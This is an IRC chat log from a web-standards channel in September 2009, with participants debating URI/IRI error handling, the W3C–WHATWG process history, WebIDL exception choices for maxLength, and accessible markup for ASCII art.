[15:20:02.0000] <mpilgrim>
don't forget interlisp!

[15:20:03.0000] <othermaciej>
jgraham: actually, I can sort of tell what it's doing when I stare real close

[15:20:04.0000] <masinter>
/me sighs

[15:20:05.0000] <Philip`>
Is there some common formalism for finite state machines with capturing groups?

[15:21:00.0000] <othermaciej>
jgraham: essentially each component has a potential set of stop characters, and keeps going until you see one of those

[15:21:01.0000] <masinter>
i think "define error handling" isn't very clear

[15:21:02.0000] <Philip`>
(The regexp matches any string at all, so the capturing is the only interesting part of it)

[15:21:03.0000] <masinter>
it's a shorthand for something that really has a lot of possible ways of accomplishing it

[15:21:04.0000] <jgraham>
othermaciej: Yeah. But it is hardly obvious

[15:21:05.0000] <othermaciej>
Philip`: other than a regexp, I think the common ways to describe FSMs are prose or state transition diagrams

[15:21:06.0000] <othermaciej>
state transition diagrams could have capture of part of the input as a transition action

[15:22:00.0000] <jre>
mjs, exactly; and surprise, that's how people implement it in practice

[15:22:01.0000] <mpilgrim>
oh for christ's sake

[15:22:02.0000] <mpilgrim>
even the xml spec defines error handling

[15:22:03.0000] <mpilgrim>
(it's simplistic, naive, harmful-to-the-web draconian error handling, but it tells you what to do with something that purports to be xml but isn't)

[15:22:04.0000] <jre>
/me sees an appeal to authority

[15:23:00.0000] <jgraham>
/me sees the appeal of bedtime

[15:24:00.0000] <othermaciej>
masinter: in the context of URI/IRI/URL/*R*, "define error handling" means that the various operations you can perform on a resource identifier have well-defined behavior when applied to a string that is not a conforming resource identifier of the appropriate kind

[15:24:01.0000] <Philip`>
/me sees a peal of bells

[15:24:02.0000] <othermaciej>
operations such as "dereference", "extract the host component", "compare for equality to another *R*" , etc

[15:25:00.0000] <othermaciej>
and in the context of *R* in Web browsers, the defined behavior of those operations has some legacy constraints and cannot simply be "signal an error"

[15:26:00.0000] <masinter>
well, let me go through those

[15:26:01.0000] <masinter>
"dereference" is a complex process, that involves parsing and then translating into some protocol action

[15:27:00.0000] <masinter>
and the activities of dereferencing URIs (and IRIs) is delegated to the spec for the scheme

[15:27:01.0000] <masinter>
so how to dereference a http URI is different than how to dereference a 'data:' or 'about' URI

[15:27:02.0000] <masinter>
there's a gap between the HTML and URI/IRI and HTTP specs about where the spec now in HTML belongs, I admit

[15:28:00.0000] <masinter>
which I think i could argue that it belongs in the HTTP spec, except for the parsing part, since the HTTP spec includes the http URI scheme

[15:29:00.0000] <masinter>
"extract the host component", I think that's in the IRI draft, and that it should cover non-conforming input at least to some degree

[15:30:00.0000] <masinter>
although we had that long conversation about whether it was really a good idea, for example, to not allow implementations to choose whether "signal an error or exception" or "pass through some error signal as error output"

[15:30:01.0000] <masinter>
because which is preferable and correct might depend on legtimate differences in implementation mode

[15:31:00.0000] <masinter>
compare for equality: the draft has long contained a ladder of comparison methods

[15:31:01.0000] <masinter>
and if the four (five? don't remember) different comparison methods listed aren't specified sufficiently, that would be a bug

[15:33:00.0000] <masinter>
re: "the defined behavior of those operations has some legacy constraints and cannot simply be "signal an error", the goal was to provide some way of calling for a parsing method which wouldn't have any such error states, by removing otherwise illegal characters

[15:36:00.0000] <othermaciej>
I guess Hixie also named the need for an absoluteness test that can be applied to a possibly nonconforming possibly relative IRI reference

[15:37:00.0000] <masinter>
yes, the 'absolute' test should be whether or not there's a scheme, independent of whether the rest of it is legal

[15:37:01.0000] <othermaciej>
and also a way to resolve an IRI reference relative to a base where one or both may be nonconforming

[15:37:02.0000] <masinter>
that used to be inherited from URI because IRI -> URI translation was done first

[15:38:00.0000] <masinter>
there are a couple of things i'm not sure of

[15:38:01.0000] <masinter>
for example, how could you ever get a 'base' with a fragment identifier?

[15:38:02.0000] <othermaciej>
<base> tag in HTML for instance

[15:39:00.0000] <othermaciej>
<base href=""> can make an arbitrary string your base

[15:39:01.0000] <masinter>
sorry, hmmm, someone was asking me whether fragment should be stripped

[15:39:02.0000] <masinter>
yes, i mean, but why would anyone do that, that's what i meant

[15:40:00.0000] <masinter>
at one point i was convinced that we needed to update the URI spec so that the relative + base algorithm could be updated

[15:40:01.0000] <masinter>
and that might be still be the conclusion

[15:41:00.0000] <othermaciej>
I don't think there is a good reason to do it, but I suspect there are people doing it inadvertently and relying on certain behavior

[15:41:01.0000] <masinter>
the IRI document already swiped the BNF from URI and just tweaked it in place, probably the right thing to do is the same for the relative + base calculation

[15:42:00.0000] <othermaciej>
it would probably be best to define both in one spec, and make "conforming URI" a strict subset of "conforming IRI"

[15:42:01.0000] <othermaciej>
typing and reading the term "IRI" hurts me

[15:42:02.0000] <masinter>
yeah, it's just harder to get there process-wise

[15:43:00.0000] <masinter>
well, that's what i wanted to do, but i was convinced "one step at a time"

[15:43:01.0000] <jre>
"conforming URI" *is* a subset of "conforming IRI"

[15:43:02.0000] <masinter>
i mean, Roy was at least willing to admit that updating the URI spec might happen *sometime*

[15:44:00.0000] <othermaciej>
coffee break, adieu for now

[15:44:01.0000] <masinter>
probably in the same time frame as HTML5 reaching Rec

[15:45:00.0000] <masinter>
mpilgrim, you said a lot of things in passing that i didn't respond to, wonder if you want to go back and talk about any of them? "failed experiment", "secret AC mailing list postings", "interlisp", "false dichotomy" or "logical fallacy"

[15:46:00.0000] <masinter>
or are you just the troll from Google?

[15:47:00.0000] <mpilgrim>
"interlisp" is a reference to this epic thread on public-html a few months ago: http://lists.w3.org/Archives/Public/public-html/2009May/0571.html

[15:47:01.0000] <mpilgrim>
"failed experiment" is what you have repeatedly called the HTML WG

[15:47:02.0000] <masinter>
let's take 'em one at a time, ok?

[15:47:03.0000] <mpilgrim>
a "logical fallacy" is an error in reasoning

[15:48:00.0000] <mpilgrim>
a "false dichotomy" is a kind of logical fallacy

[15:48:01.0000] <mpilgrim>
where you act as if there are only two options (usually polar opposites), when in fact there are more options

[15:48:02.0000] <masinter>
so, Interlisp is some work I did mainly in the 70s

[15:48:03.0000] <masinter>
can we do this one at a time, or do you want to overwhelm me with your fancy footwork?

[15:48:04.0000] <masinter>
and I didn't bring it up

[15:48:05.0000] <masinter>
God knows, Roy did

[15:49:00.0000] <masinter>
and frankly, i wouldn't bring up Interlisp in a standards discussion; i'm not ashamed of it, but it was a long time ago, got some recognition so that's ok

[15:49:01.0000] <mpilgrim>
ac-forum is, in fact, a secret mailing list

[15:49:02.0000] <mpilgrim>
not that its existence is a secret

[15:49:03.0000] <masinter>
i did work on the common lisp standard

[15:49:04.0000] <mpilgrim>
but that its contents are only available to w3c members

[15:49:05.0000] <mpilgrim>
and not to the general public

[15:50:00.0000] <masinter>
sigh ok, i'm going to respond one at a time?

[15:50:01.0000] <masinter>
or do you want to talk about all of these at once? what's your preference?

[15:50:02.0000] <mpilgrim>
let's start with the "failed experiment" bit

[15:50:03.0000] <masinter>
and still, i don't think i need to rest on 'authority' here, and I don't htink i need to

[15:50:04.0000] <masinter>
ok

[15:50:05.0000] <masinter>
so, i really put a lot of effort into the W3C process document

[15:51:00.0000] <masinter>
and i've really thought a lot about standards processes, i've worked in ANSI and ISO and IETF and W3C and watched other groups as well

[15:51:01.0000] <masinter>
and the HTML-WG is different from most other W3C groups

[15:51:02.0000] <masinter>
and it was explained as an "experiment"

[15:51:03.0000] <masinter>
right?

[15:52:00.0000] <masinter>
that was the idea, W3C and WhatWG working together in this process is an experiment for W3C?

[15:52:01.0000] <masinter>
the posting was in the middle of a conversation of W3C members about how the W3C management should spend the W3C member's money

[15:52:02.0000] <masinter>
at the time, I was Adobe's AC representative, I'm not now

[15:53:00.0000] <masinter>
well, when you do an experiment, you try to figure out whether things are working

[15:53:01.0000] <mpilgrim>
i am aware of the context

[15:54:00.0000] <mpilgrim>
i read the entire archives, not just selected ones

[15:54:01.0000] <masinter>
so i don't really want to debate whether the 'experiment' has 'failed' now, things seem to be working better

[15:54:02.0000] <mpilgrim>
i've also read the w3c's financial group's report

[15:54:03.0000] <masinter>
in general, standards really only work when the implementors of the specification participate in the process

[15:54:04.0000] <masinter>
and more of that seems to be happening, so that's good

[15:55:00.0000] <masinter>
the IETF has  different process -- all mailing lists are open, there are no dues, i've done more work in IETF than in W3C

[15:56:00.0000] <masinter>
i've been chair of two IETF working groups (URI and HTTP), editor of lots of IETF documents, and member of dozens of other working groups; so I think I can have an opinion -- which is really all i was saying -- about how well the experiment was going

[15:57:00.0000] <masinter>
the merger of the open mailing list anyone can chat with the formal W3C meeting/voting/representative methods still is really in conflict, and i'm still not sure how it will work out

[15:57:01.0000] <masinter>
as for whether the mailing list is open or secret -- well, you read it and you're talking about it, so either it's not really secret, or you're violating the membership agreement, since this conversation is public

[15:58:00.0000] <masinter>
i don't care if you want to repost my old message, but i think it's old news

[15:58:01.0000] <masinter>
i'd rather just see if we can fix the spec and get on with it.

[15:58:02.0000] <masinter>
OK?

[15:59:00.0000] <mpilgrim>
i prefer to judge working groups by their results

[15:59:01.0000] <masinter>
that's always the best, but i'm not sure everyone agrees on 'results'

[15:59:02.0000] <mpilgrim>
rather than their adherence to some process document

[15:59:03.0000] <masinter>
i think it would be bad if IRIs in HTML and IRIs in instant messaging worked differently

[16:00:00.0000] <mpilgrim>
i'm sure the document is quite well-written and all that

[16:00:01.0000] <mpilgrim>
in fact, i've read it, and i can confirm that it is well-written

[16:00:02.0000] <masinter>
i think it's bad that there are 6

[16:00:03.0000] <mpilgrim>
but w3c process is what caused the WHATWG in the first place

[16:01:00.0000] <masinter>
i don't think 'well-written' is well-defined actually

[16:01:01.0000] <masinter>
there are various things you want a spec to do, and the question is whether the spec actually does that

[16:01:02.0000] <masinter>
you write a specification that implementors agree to implement

[16:01:03.0000] <masinter>
and how "well written" it is may depend on how broad that agreement is

[16:03:00.0000] <masinter>
anyway, have we handled your "failed experiment" and "secret AC mailing list" posting issues?

[16:03:01.0000] <masinter>
i'm not sure if you wanted me to blog about it more publicly, or use nicer words, or what? Were you offended by what I said?

[16:05:00.0000] <sicking>
/me is just happy to have an IETF spec that matches reality

[16:06:00.0000] <masinter>
well, I'm not sure 'matches reality' is always the most important goal

[16:06:01.0000] <mpilgrim>
the fact that you bring up w3c membership agreements just highlights how broken the w3c really is

[16:06:02.0000] <sicking>
masinter: well, at *some* point reality and the spec is going to match i hope?

[16:07:00.0000] <sicking>
be that reality changing, or spec changing, or both

[16:07:01.0000] <masinter>
yes, a good specification leads the community to uniformly implement something that improves their mutual benefit

[16:07:02.0000] <mpilgrim>
but sure, i guess i'd done talking about it

[16:07:03.0000] <masinter>
it's a "tragedy of the commons" situation

[16:07:04.0000] <mpilgrim>
did you want to talk about the other points?

[16:08:00.0000] <masinter>
anything you want, I can't do this the rest of this week

[16:08:01.0000] <masinter>
I'm secretly meeting with 8 other men over beer to work out the future of the web, without the hoi polloi having a say

[16:09:00.0000] <mpilgrim>
well, i retract the part about the beer

[16:09:01.0000] <mpilgrim>
apparently there is no beer

[16:09:02.0000] <masinter>
http://www.w3.org/2001/tag/2009/09/23-agenda

[16:09:03.0000] <masinter>
last F2F we definitely had beer

[16:09:04.0000] <masinter>
not during the meetings tho

[16:10:00.0000] <masinter>
i dunno, "false dichotomy" and "logical fallacy"

[16:11:00.0000] <masinter>
sound like ways of saying that you disagree with me

[16:12:00.0000] <masinter>
i'm willing to have a discussion and listen to arguments, hope you are too

[16:12:01.0000] <mpilgrim>
"[16:01] <masinter> sigh, definitely private meetings should be outlawed, and private conversations too"

[16:12:02.0000] <masinter>
well, i explained again, i was being ironic

[16:12:03.0000] <mpilgrim>
yes

[16:12:04.0000] <mpilgrim>
my irc client must have dropped your smiley

[16:12:05.0000] <masinter>
i think sam covered this already, someone complained that Ian had a private meeting and Sam defended it saying private meetings were ok

[16:13:00.0000] <mpilgrim>
private meetings are great

[16:13:01.0000] <mpilgrim>
making decisions in private meetings is not

[16:13:02.0000] <masinter>
i know of no standards group that has a process for making decisions in private meetings

[16:13:03.0000] <mpilgrim>
(unless the entire process is private, of course)

[16:13:04.0000] <masinter>
well, wait

[16:13:05.0000] <masinter>
i take it bak

[16:14:00.0000] <masinter>
sure, there are private meetings

[16:14:01.0000] <masinter>
the W3C process was modeled after the X consortium

[16:14:02.0000] <masinter>
at least as the starting point. Not sure that was the best model

[16:15:00.0000] <masinter>
in my view, W3C was started in the first place because the IETF process wasn't converging

[16:15:01.0000] <jre>
/me wonders how to get Mark P. to fix http://code.google.com/p/doctype/wiki/APingAttribute, as editing the Wiki does not work (and hasn't worked since last year)

[16:15:02.0000] <masinter>
I was in the HTML working group in IETF, with open meetings and postings and mailing lists, and there was an irreconcilable gulf between "inline <font>" and style sheets

[16:17:00.0000] <masinter>
and people thought "this kind of open consensus process doesn't work for HTML, we need a working group with representatives who can *vote* and use *majority voting* to resolve these kinds of things

[16:17:01.0000] <masinter>
so this seems to me to be repeating history -- the more things change, the more they stay the same

[16:18:00.0000] <mpilgrim>
jre: we're migrating the site to a different backend CMS

[16:19:00.0000] <mpilgrim>
masinter: yeah, and the first thing the w3c did when they took html under their wing was to create html 3.0

[16:19:01.0000] <masinter>
well, you know, you talk about 'the w3c' as if Opera, Apple, Google, and Mozilla aren't members

[16:19:02.0000] <mpilgrim>
backtracked in 3.2, produced something halfway usable in 4.0, then abandoned it altogether

[16:19:03.0000] <mpilgrim>
not the greatest track record

[16:20:00.0000] <jre>
mpilgrim, good to known; it would be even nicer if people's bug reports would be replied to; at least now I know what may be going on

[16:20:01.0000] <masinter>
the problem with HTML in W3C is that neither Netscape nor Microsoft wanted to play

[16:22:00.0000] <masinter>
I can't say W3C HTML working group was the most effective working group I'd seen (I was on the committee as the rep from Xerox in the late 90s) but if the browser vendors didn't want to play, there was no way of making them

[16:25:00.0000] <masinter>
standards groups like IETF and W3C are more like convention centers: they provide the meeting rooms and projectors and some process management, but no work gets actually done except by the people who come. Talking about it as "the W3C" vs. "Opera & Mozilla & Apple & Microsoft & Google" seems to leave out the fact that (well, maybe not Google at the time?) they were  that those who needed to play weren't willing to play at the W3C

[16:25:01.0000] <masinter>
so it's not clear who you are blaming for the failure, mpilgrim? 

[16:25:02.0000] <masinter>
some staff members?

[16:26:00.0000] <masinter>
why didn't Apple or Opera or Microsoft send people to the W3C HTML working group meetings to actually create  a useful standard way back then?

[16:28:00.0000] <masinter>
s/useful/better/

[16:30:00.0000] <mpilgrim>
/me wonders if masinter was present at the 2004 workshop on web applications

[16:30:01.0000] <mpilgrim>
or knows the history of said workshop

[16:31:00.0000] <masinter>
i wasn't there

[16:31:01.0000] <masinter>
i know the history

[16:31:02.0000] <hober>
http://www.w3.org/2004/04/webapps-cdf-ws/ and http://www.w3.org/2004/04/webapps-cdf-ws/papers/opera.html for those reading the archives who don't know the history

[16:31:03.0000] <othermaciej>
the W3C voted to reject further work on HTML in favor of XHTML2, SVG and compound documents

[16:31:04.0000] <masinter>
my impression is that WhatWG was already started months before, the legal agreement for copyright between Opera and Mozilla already in place. The WhatWG was *announced* a few days after, but the spec had been in preparation for months before in private email

[16:32:00.0000] <Hixie>
the legal agreement for copyright between Opera and Mozilla and Apple happened about 6 months after the workshop

[16:32:01.0000] <mpilgrim>
actually i think the archives are down at the moment, but thanks hober for the links

[16:32:02.0000] <Hixie>
and the spec had been public the whole time since the xforms PR vote

[16:33:00.0000] <othermaciej>
my recollection is that originally the only spec being worked on was Web Forms 2 as a reaction to XForms

[16:33:01.0000] <masinter>
ah ok

[16:33:02.0000] <masinter>
so there were no plans to fork a separate group before that workshop?

[16:33:03.0000] <Hixie>
there were backup plans

[16:33:04.0000] <Hixie>
but the whatwg site was only announced because the w3c said that the browser vendors weren't welcome

[16:33:05.0000] <Hixie>
we were hoping to not use it

[16:33:06.0000] <Hixie>
and we didn't threaten with it or anything

[16:34:00.0000] <masinter>
no i'm sure

[16:34:01.0000] <othermaciej>
I can't speak for anyone else, but Hyatt and I were the ones involved in this from Apple's end and we had no prior intent to make a breakaway group or interest in doing so

[16:34:02.0000] <masinter>
i'm just saying talking about "the W3C" as if it were someone else doesn't make a lot of sense if you're a member company

[16:34:03.0000] <masinter>
or from a member company

[16:34:04.0000] <Hixie>
it makes a lot of sense when the W3C staff are the ones who tell you (a member company) to go elsewhere

[16:34:05.0000] <Hixie>
which actually happened at that meeting

[16:34:06.0000] <masinter>
well, the staff isn't in charge, the members are

[16:35:00.0000] <othermaciej>
it makes sense in the same way as it makes sense to complain about US policy even when one is an American voter

[16:35:01.0000] <mpilgrim>
and i'm just saying that there were w3c member companies at a w3c workshop who were told in no uncertain terms that html was dead and that they were not permitted to work on it further within the w3c

[16:35:02.0000] <masinter>
well, how many members are there who vote?

[16:35:03.0000] <othermaciej>
members get to vote on very few things

[16:35:04.0000] <Hixie>
anyway that's all in the past, the future is what matters. the w3c said that they were sorry and we were right and xhtml2 was wrong and so we can move on to more important things now

[16:35:05.0000] <othermaciej>
mostly their input is advisory and the decision is made by w3c staff

[16:35:06.0000] <masinter>
yes, exactly

[16:35:07.0000] <masinter>
i didn't bring up this past stuff

[16:36:00.0000] <mpilgrim>
/me wonders why masinter, author of the w3c process document, doesn't know the answers to these questions

[16:36:01.0000] <masinter>
sorry, which questions? 

[16:36:02.0000] <Hixie>
/me goes back to actually improving html

[16:36:03.0000] <othermaciej>
I think it's relevant to why W3C Member organizations may have valid reason to complain about the actions of "the W3C"

[16:36:04.0000] <othermaciej>
but yes, it's also water under the bridge

[16:37:00.0000] <othermaciej>
I think HTML is on a good course now, and despite the flamewars and process wrangling I am happy with where things are going

[16:38:00.0000] <masinter>
i think there's a lot of work to be done, and my estimate of what needs to be done is probably a lot more than you think needs to be done, but fixing things does seem like the right direction

[16:38:01.0000] <mpilgrim>
/me thinks HTML was on a good course before the W3C came back into the picture

[16:38:02.0000] <masinter>
do i get to ignore mpilgrim's flaming or what?

[16:38:03.0000] <hober>
masinter: it's IRC. you get to /ignore whomever you please.

[16:38:04.0000] <othermaciej>
this channel has been more entertaining today than it has been in months

[16:39:00.0000] <Lachy>
from what I can tell from my archives, the spec's current copyright licence was sorted out around November 2004, and it took the 6 months since June 2004 for the lawyers to finally sort it out. 

[16:39:01.0000] <masinter>
people were saying there was some "cultural difference" so i thought "nah, i can speak that language"

[16:39:02.0000] <Hixie>
Lachy: that's what i said :-)

[16:40:00.0000] <mpilgrim>
i realize there was a desire to get MS to agree to a patent policy, but i think that has come at too high a price

[16:40:01.0000] <Lachy>
ok. I only skimmed the logs. Didn't see you mention the dates

[16:40:02.0000] <othermaciej>
the conversation here is at times messy and rambunctious and not always 100% serious

[16:40:03.0000] <Hixie>
(Lachy: i only said 6 months)

[16:40:04.0000] <Hixie>
"not always" is putting it mildly

[16:41:00.0000] <masinter>
well, i think the arguments about process really are dead, but wish mpilgrim would stop bringing them up

[16:41:01.0000] <masinter>
/me wants the topic to be renamed to 'den of trolls'

[16:41:02.0000] <mpilgrim>
that topic has certainly been apropos today, but not for the reason you think

[16:41:03.0000] <othermaciej>
I think the reason people reading the logs sometimes get very upset is lack of context and missing the tone, rather than a cultural barrier

[16:42:00.0000] <Hixie>
mpilgrim: i think we should have tried harder to get a patent policy outside the w3c, but i think microsoft's involvement is important

[16:42:01.0000] <masinter>
the patent policy is held up way too much, and isn't really very effective here anyway

[16:42:02.0000] <masinter>
but IANAL so i'll shut up

[16:42:03.0000] <mpilgrim>
microsoft's involvement was relatively... minimal... before august 7

[16:42:04.0000] <mpilgrim>
so i'm not sure that argument holds up either

[16:43:00.0000] <othermaciej>
having a patent policy and having microsoft's participation are both valuable

[16:43:01.0000] <mpilgrim>
agreed

[16:43:02.0000] <mpilgrim>
but at what price?

[16:43:03.0000] <Hixie>
mpilgrim: oh i think we failed to get any significant useful input from them, but that doesn't mean it wasn't worth trying to get it

[16:43:04.0000] <Hixie>
mpilgrim: it was the Right Thing To Do

[16:43:05.0000] <Hixie>
mpilgrim: even if it had a high cost

[16:43:06.0000] <Hixie>
mpilgrim: however, we should have done it outside the w3c

[16:43:07.0000] <Philip`>
Does implementing and shipping HTML5 features in IE8 not count as involvement?

[16:43:08.0000] <masinter>
/me isn't going to talk about process any more

[16:44:00.0000] <mpilgrim>
hixie: i disagree, but i've never been known as a bridge-builder

[16:44:01.0000] <mpilgrim>
;)

[16:44:02.0000] <masinter>
on the text/html mime type registration? i'm not happy obsoleting http://www.ietf.org/rfc/rfc2854.txt with the text you have

[16:45:00.0000] <mpilgrim>
bbiab, dinner

[16:45:01.0000] <masinter>
i could see adding stuff, sure, but don't know why anything in that document is wrong

[16:45:02.0000] <Hixie>
masinter: please send e-mail or file a bug; i don't track feedback from irc (due to the difficulty in doing so)

[16:45:03.0000] <masinter>
i thought there might be a difference of opinion about what a MIME type registration is for?

[16:47:00.0000] <masinter>
the issue was open and got closed in HTML-WG and i didn't want to try to repoen it in HTML-WG without a discussion

[16:47:01.0000] <Hixie>
masinter: possibly, but right now my brain is looking at how to determine what exceptions should be raised when a negative integer is given as the new value of an unsigned long IDL attribute, and I don't really have the bandwidth to do both

[16:48:00.0000] <masinter>
ok

[16:48:01.0000] <Hixie>
speaking of which, what exceptions should be raised when a negative integer is given as the new value of an unsigned long IDL attribute?

[16:48:02.0000] <Hixie>
WebIDL doesn't seem to define it

[16:48:03.0000] <Hixie>
heycam: yt?

[16:48:04.0000] <heycam>
hi Hixie

[16:48:05.0000] <Hixie>
so i have a stupid case to deal with

[16:48:06.0000] <Hixie>
maxLength on <textarea> and <input>

[16:49:00.0000] <Hixie>
has to return -1 when the content attribute is missing

[16:49:01.0000] <Hixie>
but has to only accept non-negative new values on setting

[16:49:02.0000] <Hixie>
what exception shoul i throw?

[16:49:03.0000] <heycam>
ok

[16:49:04.0000] <heycam>
does it have to accept values >2**31

[16:49:05.0000] <heycam>
?

[16:49:06.0000] <Hixie>
no

[16:49:07.0000] <heycam>
so you'll be giving an unsigned long type?

[16:49:08.0000] <heycam>
s/an/it an/

[16:50:00.0000] <Hixie>
the IDL attribute will be just long, i think

[16:50:01.0000] <heycam>
oops

[16:50:02.0000] <Philip`>
What if I want to copy-and-paste a DVD into a text input box? :-(

[16:50:03.0000] <heycam>
sorry

[16:50:04.0000] <Hixie>
since it needs to return -1

[16:50:05.0000] <heycam>
i thought signed but typed unsigned :)

[16:50:06.0000] <Hixie>
Philip`: don't set maxlength then :-P

[16:50:07.0000] <Hixie>
heycam: heh

[16:50:08.0000] <masinter>
bye, i'll probably not be back until next Sunday so save up your darts

[16:50:09.0000] <Philip`>
Hixie: Oh, that sounds good enough

[16:50:10.0000] <Hixie>
heycam: basically it's a long, but i want it to pretend to be unsigned long when the new value is negative

[16:50:11.0000] <heycam>
silly question then, what exceptions do impls throw currently?

[16:51:00.0000] <heycam>
but if you don't need values >2**31 it seems like it really is signed

[16:51:01.0000] <Hixie>
interoperability is not a strong point of this area of the platform

[16:51:02.0000] <heycam>
just you can't assign all values to it

[16:51:03.0000] <heycam>
which isn't an uncommon thing

[16:51:04.0000] <Hixie>
i seem to use INDEX_SIZE_ERR in similar cases

[16:51:05.0000] <heycam>
well i would suggest a DOMException of some kinda, rather than an ES exception

[16:51:06.0000] <Hixie>
k

[16:52:00.0000] <Hixie>
i'll use INDEX_SIZE_ERR

[16:52:01.0000] <Hixie>
thanks

[16:52:02.0000] <heycam>
yeah, though poorly named, it's probably the closest

[16:52:03.0000] <othermaciej>
Hixie: DOM APIs have historically given INDEX_SIZE_ERR in such cases

[16:53:00.0000] <othermaciej>
(the language around this is a little wacky, since in the DOM's model of IDL, there should be no such thing as assigning a negative number to an unsigned attribute)

[16:54:00.0000] <othermaciej>
I don't remember what happens for out-of-range magnitude or non-integer values (that would be in range if truncated)

[16:54:01.0000] <Hixie>
yeah there isn't in webidl+html5 now either, the exception for that case will be in webidl

[16:54:02.0000] <Hixie>
but sadly this is one of those special cases

[16:54:03.0000] <Hixie>
...like almost everything else in html5

[16:54:04.0000] <heycam>
Hixie, i don't think it's such a special case really.  i don't see it as problematic or inconsistent at all.

[16:55:00.0000] <heycam>
if it did accept assigning values >2**31 then it would be

[16:55:01.0000] <othermaciej>
so if you find something in HTML5 that's *not* a special case... then wouldn't that be a particularly special case?


2009-09-22
[17:50:00.0000] <tantekc>
I'm exploring ways of "properly" or "ideally" marking up ASCII art, and there seems to be very few existing discussions of the topic.

[17:51:00.0000] <tantekc>
WCAG 1.0 has some techniques: http://www.w3.org/TR/WCAG10-HTML-TECHS/#ascii-art

[17:52:00.0000] <tantekc>
the "skip over " links always seem like a hack

[17:52:01.0000] <tantekc>
anyone have any data on what ATs do with <pre> marked up ASCII art?

[17:54:00.0000] <tantekc>
/me wonders if anyone considered making a MIME type for ASCII art, e.g. image/ascii

[17:54:01.0000] <hober>
text/art

[17:55:00.0000] <tantek>
there is this test case (for supposedly accessibly marked up ASCII art) http://www.bentoweb.org/ts/XHTML1_TestSuite3/testfiles/sc1.1.1_l1_038.html

[17:55:01.0000] <tantek>
linked from http://www.bentoweb.org/ts/XHTML1_TestSuite2/metadata/sc1.1.1_l1_038

[17:56:00.0000] <tantek>
hober I was thinking text/art as well, until I realized that text is merely the stream format, not the general type of thing

[17:56:01.0000] <tantek>
image/text would be more accurate than text/image

[18:01:00.0000] <Hixie>
woah, xmlns has no definition of an XML namespace-well-formed internal general parsed entity

[18:02:00.0000] <Hixie>
bummer

[18:03:00.0000] <othermaciej>
tantek: what would be the right way to provide accessibility for ASCII art?

[18:03:01.0000] <othermaciej>
text equivalent?

[18:03:02.0000] <othermaciej>
<pre> would be right layout-wise but I don't think it has an obvious way to provide a text equivalent, other than ARIA

[18:03:03.0000] <tantek>
othermaciej - yes, a *visible* text equivalent/alt/explanation is what WCAG suggests

[18:03:04.0000] <tantek>
I would like a way to say <pre art>

[18:04:00.0000] <othermaciej>
visible - sounds good

[18:04:01.0000] <tantek>
(not an actual proposal)

[18:04:02.0000] <tantek>
just to illustrate the concept

[18:04:03.0000] <tantek>
I don't want ATs to attempt to speak/pronounce the ASCII art

[18:04:04.0000] <Hixie>
it really does appear that there's no way to use namespaces with internal general parsed entities

[18:04:05.0000] <othermaciej>
if the goal is to just stop AT from reading it, then <pre role=presentation> would do it

[18:04:06.0000] <Hixie>
how the heck do i define the XML serialisation of a DocumentFragment then

[18:05:00.0000] <othermaciej>
what's an internal general parsed entity?

[18:05:01.0000] <othermaciej>
is that a fancypants way to say document fragment?

[18:05:02.0000] <tantek>
othermaciej - ok I'll look at role=presentation. thanks.

[18:05:03.0000] <Hixie>
it a fancypants way of referring to the kind of stuff you'd find inside an element in XML

[18:05:04.0000] <Hixie>
i.e. the string forming the text, comments, other elements, etc in an element

[18:06:00.0000] <othermaciej>
would it be sufficient to define it by saying if you surround the fragment with an element, that must produce a namespace-well-formed document?

[18:07:00.0000] <Hixie>
yeah that's what i'm doing

[18:07:01.0000] <Hixie>
but that's a hack

[18:08:00.0000] <Hixie>
  <p>For the purposes of this section, an internal general parsed entity is considered XML namespace-well-formed if a document consisting of an element whose contents are the internal general parsed entity would itself be XML namespace-well-formed.</p>

[18:10:00.0000] <othermaciej>
perhaps you should specify that the hypothetical element does not itself have any namespace declarations

[18:12:00.0000] <Hixie>
yeah

[18:12:01.0000] <Hixie>
  <p>For the purposes of this section, an internal general parsed entity is considered XML namespace-well-formed if a document consisting of an element with no namespace declarations whose contents are the internal general parsed entity would itself be XML namespace-well-formed.</p>

[18:24:00.0000] <tantek>
Hixie - how can anyone expect web authors to understand something like that?

[18:24:01.0000] <Hixie>
web authors aren't expected to even see that

[18:25:00.0000] <Hixie>
it's in a class="impl" section

[18:25:01.0000] <Hixie>
so it would be hidden from the author view

[18:33:00.0000] <tantek>
ah ok, thanks.

[18:43:00.0000] <roc>
even if Microsoft doesn't contribute anything to HTML5, it's still really valuable for them to *say* they're contributing

[23:06:00.0000] <hsivonen>
for the record, Jena having six or so URL-like things is a spec problem: URI, IRI, XLink, XML system ID, etc.

[00:04:00.0000] <othermaciej>
why do things like XLink and XML System ID have their own syntax?

[00:04:01.0000] <othermaciej>
hsivonen: ^

[00:04:02.0000] <othermaciej>
(curious)

[00:52:00.0000] <hsivonen>
othermaciej: they tried to anticipate IRIs when IRIs weren't ready, so they defined their own ways of turning a Unicode string into something you can give to an ASCII-only URI resolver

[00:53:00.0000] <othermaciej>
I see

[00:53:01.0000] <othermaciej>
fun

[00:54:00.0000] <hsivonen>
as for XML Schema anyURI, IIRC, they didn't get it right the first time

[00:54:01.0000] <hsivonen>
and not the second time

[00:55:00.0000] <hsivonen>
and the third attempt turned out to be permissive enough to allow any string

[00:56:00.0000] <othermaciej>
resource identifiers are so simple compared to stuff like HTML and HTTP, I wonder why we have all these divergent slightly different specs

[00:56:01.0000] <hsivonen>
I can think of 2 reasons

[00:57:00.0000] <hsivonen>
1) People wanted to mark some cases as erroneous instead of making all possible strings resource identifiers

[00:57:01.0000] <hsivonen>
2) The identifiers weren't Unicode from the beginning

[00:59:00.0000] <othermaciej>
I guess in the very beginning it wasn't clear that unicode was the answer

[01:05:00.0000] <izico2>
nick

[01:11:00.0000] <izico>
test

[02:18:00.0000] <jgraham>
/me resists the urge to say that RDFa isn't so much a cow path as a bunch of people pointing through a marsh and saying "let's go that way"

[02:19:00.0000] <annevk2>
that's not quite resisting

[02:19:01.0000] <annevk2>
but nice try

[02:19:02.0000] <annevk2>
:)

[02:19:03.0000] <jgraham>
Damn, foiled again

[02:23:00.0000] <Philip`>
Regardless of cowpathiness, the principle just says "When a practice is already widespread among authors, consider adopting it rather than forbidding it or inventing something new.", and RDFa was indeed considered (and rejected)

[02:24:00.0000] <Philip`>
and the whole Design Principles document doesn't become useless just because one principle in one situation did not override all other considerations

[02:26:00.0000] <jgraham>
Stop trying to counter my desire to construct grandisoe metaphors involing waders by pointing out that simple fact based arguments are more effective

[02:32:00.0000] <Philip`>
